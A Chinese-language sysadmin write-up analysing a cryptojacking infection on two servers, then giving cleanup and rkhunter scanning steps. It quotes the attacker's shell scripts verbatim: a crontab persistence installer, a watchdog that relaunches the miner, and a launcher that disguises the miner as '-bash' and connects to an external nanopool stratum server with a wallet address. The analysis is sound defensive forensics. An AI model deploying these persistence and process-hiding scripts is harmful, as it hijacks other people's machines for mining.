问题分析 1. 两台服务器收到告警,top 查看进程发现如下可疑进程 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND19078 vmuser 20 0 680232 14284 1032 S 342 .8 0 .1 1583 :11 md501 vmuser 20 0 32348 3264 760 R 55 .9 0 .0 2172 :49 [atd] 504 vmuser 20 0 32348 3264 760 R 46 .7 0 .0 2000 :21 [atd] 18469 vmuser 20 0 32348 3504 984 R 46 .1 0 .0 1252 :47 [atd] 18692 vmuser 20 0 32348 3408 908 R 43 .1 0 .0 318 :58 .87 [atd] 18695 vmuser 20 0 32348 3536 1020 R 42 .8 0 .0 129 :26 .05 [atd] 10547 vmuser 20 0 32348 3412 908 R 40 .8 0 .0 72 :19 .69 [atd] 8658 vmuser 20 0 32348 3400 880 R 40 .5 0 .0 4606 :03 [atd] 8655 vmuser 20 0 32348 3468 948 R 40 .1 0 .0 4383 :23 [atd] 10542 vmuser 20 0 32348 3408 908 S 24 .7 0 .0 90 :27 .13 [atd] 8549 vmuser 20 0 32348 3372 868 R 9 .9 0 .0 323 :27 .79 [atd]
用户名为 vmuser 的可疑进程
2. 查看 md 进程详情 vmuser 19078 343 0 .0 680232 13764 ? Sl 07 :38 1613 :58 -bash -a cryptonight -o stratum+tcp://etn-us-west1 .nanopool.org:13333 -u etnk5 c12 V3 YAb5 gLekc5 N8 SizEpbpDogviaU2 U9 tff2 F9 JafNFS9 pxmF1 PNf4 aZrMjRSqd9 bhjXn7 dbpmepNjKi586 ZtD9 Cv9 N -p x
查询后果然和自己判断一样是一个挖矿程序
3. 查找用户程序目录 ls -l /proc/ 19078 /exe lrwxrwxrwx 1 vmuser vmuser 0 Jan 29 07 :38 /proc/ 19078 /exe -> / tmp/.n/m d
4. 进入 /tmp/.n/ 目录有如下文件 total 4 .1 M4 .0 K -rwxr-xr-x 1 vmuser vmuser 327 Jan 23 08 :03 1 4 .0 K -rwxr-xr-x 1 vmuser vmuser 329 Oct 27 21 :30 a4 .0 K -rw-r--r-- 1 vmuser vmuser 5 Jan 23 14 :55 bash.pid4 .0 K -rw-r--r-- 1 vmuser vmuser 38 Jan 23 08 :11 cron.d4 .0 K -rw-r--r-- 1 vmuser vmuser 8 Jan 23 08 :11 dir.dir 16K -rwxr-xr-x 1 vmuser vmuser 15 K Feb 21 2016 h32 820K -rwxr-xr-x 1 vmuser vmuser 819 K Feb 21 2016 h64 2 .9 M -rwxr-xr-x 1 vmuser vmuser 2 .9 M Jun 24 2017 md224K -rwxr-xr-x 1 vmuser vmuser 222 K Oct 22 22 :25 md32 168K -rwxr-xr-x 1 vmuser vmuser 165 K Sep 27 18 :58 mdx4 .0 K -rwxr-xr-x 1 vmuser vmuser 586 Jan 23 08 :03 run4 .0 K -rwxr--r-- 1 vmuser vmuser 170 Jan 23 08 :11 upd4 .0 K -rwxr-xr-x 1 vmuser vmuser 24 Oct 5 02 :45 x4 .0 K -rwxr--r-- 1 vmuser vmuser 139 Nov 6 05 :21 z
5. 挖矿程序分析
# vim a pwd > dir .dir dir =$(cat dir .dir )echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir /bash.pid; thenpid=\$(cat $dir /bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1)then sleep 1else cd $dir ./run &>/dev/null exit 0fi fi" >upd chmod u +x upd ./run &>/dev/null
获取当前目录,定时任务一直执行 upd 文件
if test -r /tmp/ .n/bash.pid; thenpid=$(cat /tmp/ .n/bash.pid) if $(kill -CHLD $pid >/dev/ null 2 >&1 )then sleep 1 else cd /tmp/ .n ./run &>/ dev/null exit 0 fi fi
检查 /tmp/.n/bash.pid 文件是否可读,如果可读就读出里面的 pid,直接kill掉,重新执行 run
proc=`nproc` ARCH=`uname -m` HIDE="-bash" if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./m d32 -a cryptonight -o stratum+tcp:// etn-us-west1.nanopool.org:13333 :13333 -u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N -p x >>/dev/ null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./m d -a cryptonight -o stratum+tcp:// etn-us-west1.nanopool.org:13333 -u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N -p x >>/dev/ null & fi echo $! > bash.pid
这个核心文件就是读出操作系统的硬件架构,如果是i386就执行32位的h32和md32,猜测h32是用于让系统显示的进程名称,md32才是真正的挖矿程序。执行完成了就把进程id写入bash.pid中。
6. 过程总结 找系统漏洞->获取权限->创建目录->上传文件->执行x,执行a->a启动crontab执行upd,生成upd并赋权->upd去执行run->run去执行真正的挖矿程序。
清除挖矿程序 1. kill 掉可疑进程,删除程序目录 # kill -9 19078 && rm -rf /tmp/ .n && rm -rf /tmp/ .a
2. 修改 vmuser 用户密码 注意到挖矿程序都是 vmuser 用户,所以修改 vmuser 用户密码
入侵检测 不放心,使用 rkhunter 检测一下
1. 下载安装 # wget https: # tar zxvf rkhunter-1.4 .4 .tar.gz && tar zxvf rkhunter-1.4 .4 .tar.gz && cd rkhunter-1.4 .4 # ./install.sh --install
2. 入侵检测 System checks summary ===================== File properties checks.. . Required commands check failed Files checked: 136 Suspect files: 5 Rootkit checks.. . Rootkits checked : 481 Possible rootkits: 0 Applications checks.. . All checks skipped The system checks took: 7 minutes and 22 seconds All results have been written to the log file: /var/log/rkhunter.log One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter.log)
Suspect files 的警告和正常服务器上的一致,这里忽略
3. 卸载 rkhunter # cd rkhunter-1.4 .4 && ./install.sh --remove